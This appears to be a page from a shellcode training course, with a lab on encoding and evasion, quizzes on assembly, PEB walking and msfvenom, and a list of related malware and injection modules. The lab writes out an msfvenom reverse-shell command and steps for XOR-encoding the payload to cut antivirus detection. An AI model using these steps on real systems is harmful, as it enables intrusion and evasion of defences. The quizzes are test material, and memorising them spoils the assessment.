Lab 3: Encoding and Evasion

  1. Generate a reverse shell with msfvenom: msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f raw
  2. Write a custom XOR encoder in Python that takes the raw bytes and produces encoded output
  3. Write the corresponding decoder stub in assembly
  4. Combine decoder + encoded payload and test in a VM
  5. Upload to VirusTotal and compare detection rates between raw and encoded versions

QUIZ 01

Quiz: Assembly & Registers

Question 1: Which instruction is the standard null-free way to zero a register in x86 shellcode?

A) mov eax, 0
B) xor eax, eax
C) sub eax, eax (this also works but is less common)
D) and eax, 0xFFFFFFFF

Question 2: On x64 Windows, which segment register points to the TEB/PEB?

A) FS
B) GS
C) DS
D) ES

Question 3: In the x64 Microsoft calling convention, where is the first integer argument passed?

A) RCX
B) RDX
C) On the stack
D) RAX
QUIZ 02

Quiz: PEB Walking & Export Parsing

Question 1: What is the primary purpose of PEB walking in modern shellcode?

A) To find the current process ID
B) To bypass ASLR by dynamically finding DLL base addresses
C) To enumerate running threads
D) To check if a debugger is attached

Question 2: In the PE export directory, which field contains the array of function name RVAs?

A) AddressOfFunctions
B) AddressOfNames
C) AddressOfNameOrdinals
D) NumberOfNames

Question 3: Why do many shellcodes use hashed function names instead of full strings?

A) To make reverse engineering easier
B) To reduce shellcode size
C) To increase execution speed
D) To comply with Windows API requirements
QUIZ 03

Quiz: Encoding, Bad Chars & msfvenom

Question 1: Which msfvenom option specifies bad characters to avoid in the output?

A) -e
B) -b
C) -f
D) -p

Question 2: What is the key difference between encoding and encryption in the context of shellcode?

A) Encoding is slower than encryption
B) Encoding transforms bytes to evade signatures; encryption requires a key for confidentiality
C) Encoding is only for x86; encryption is only for x64
D) There is no difference

Question 3: Which of the following is a common bad character in HTTP GET parameter injection?

A) 0x41 ('A')
B) 0x26 ('&')
C) 0x30 ('0')
D) 0x7A ('z')

KEY TAKEAWAYS

What You Learned

CROSS-REFERENCES

Related Modules

Module 06: Memory

Virtual memory, heap vs stack, memory protection flags, and how shellcode lives in memory. Understanding PAGE_EXECUTE_READWRITE and memory allocation is essential for injection.

Module 09: Malware

Payload design, packers, crypters, and evasion techniques. Shellcode is the core component of most malware. Learn how malware authors obfuscate and deliver payloads.

Module 10: Code Injection

Process injection, remote threads, APC injection, and process hollowing. Shellcode is useless without a delivery mechanism. Module 10 teaches you how to get your shellcode into a target process.

VERIFICATION

Verification Status

Assembly compilation✓ TESTED NASM
Shellcode extraction✓ TESTED objdump / xxd
Position-Independent Code✓ DEMONSTRATED call/pop & RIP-relative
Dynamic API resolution✓ DEMONSTRATED PEB walking
Export table parsing✓ DEMONSTRATED manual hash resolution
Shellcode encoding✓ COVERED XOR & Shikata Ga Nai
Null byte avoidance✓ DEMONSTRATED null-free alternatives
Bad character analysis✓ COVERED common vectors & testing
msfvenom usage✓ DEMONSTRATED encoding & formats
Custom shellcode✓ PROVIDED x86 template
Injection technique✓ COVERED Module 10
ASLR bypass✓ DEMONSTRATED via PEB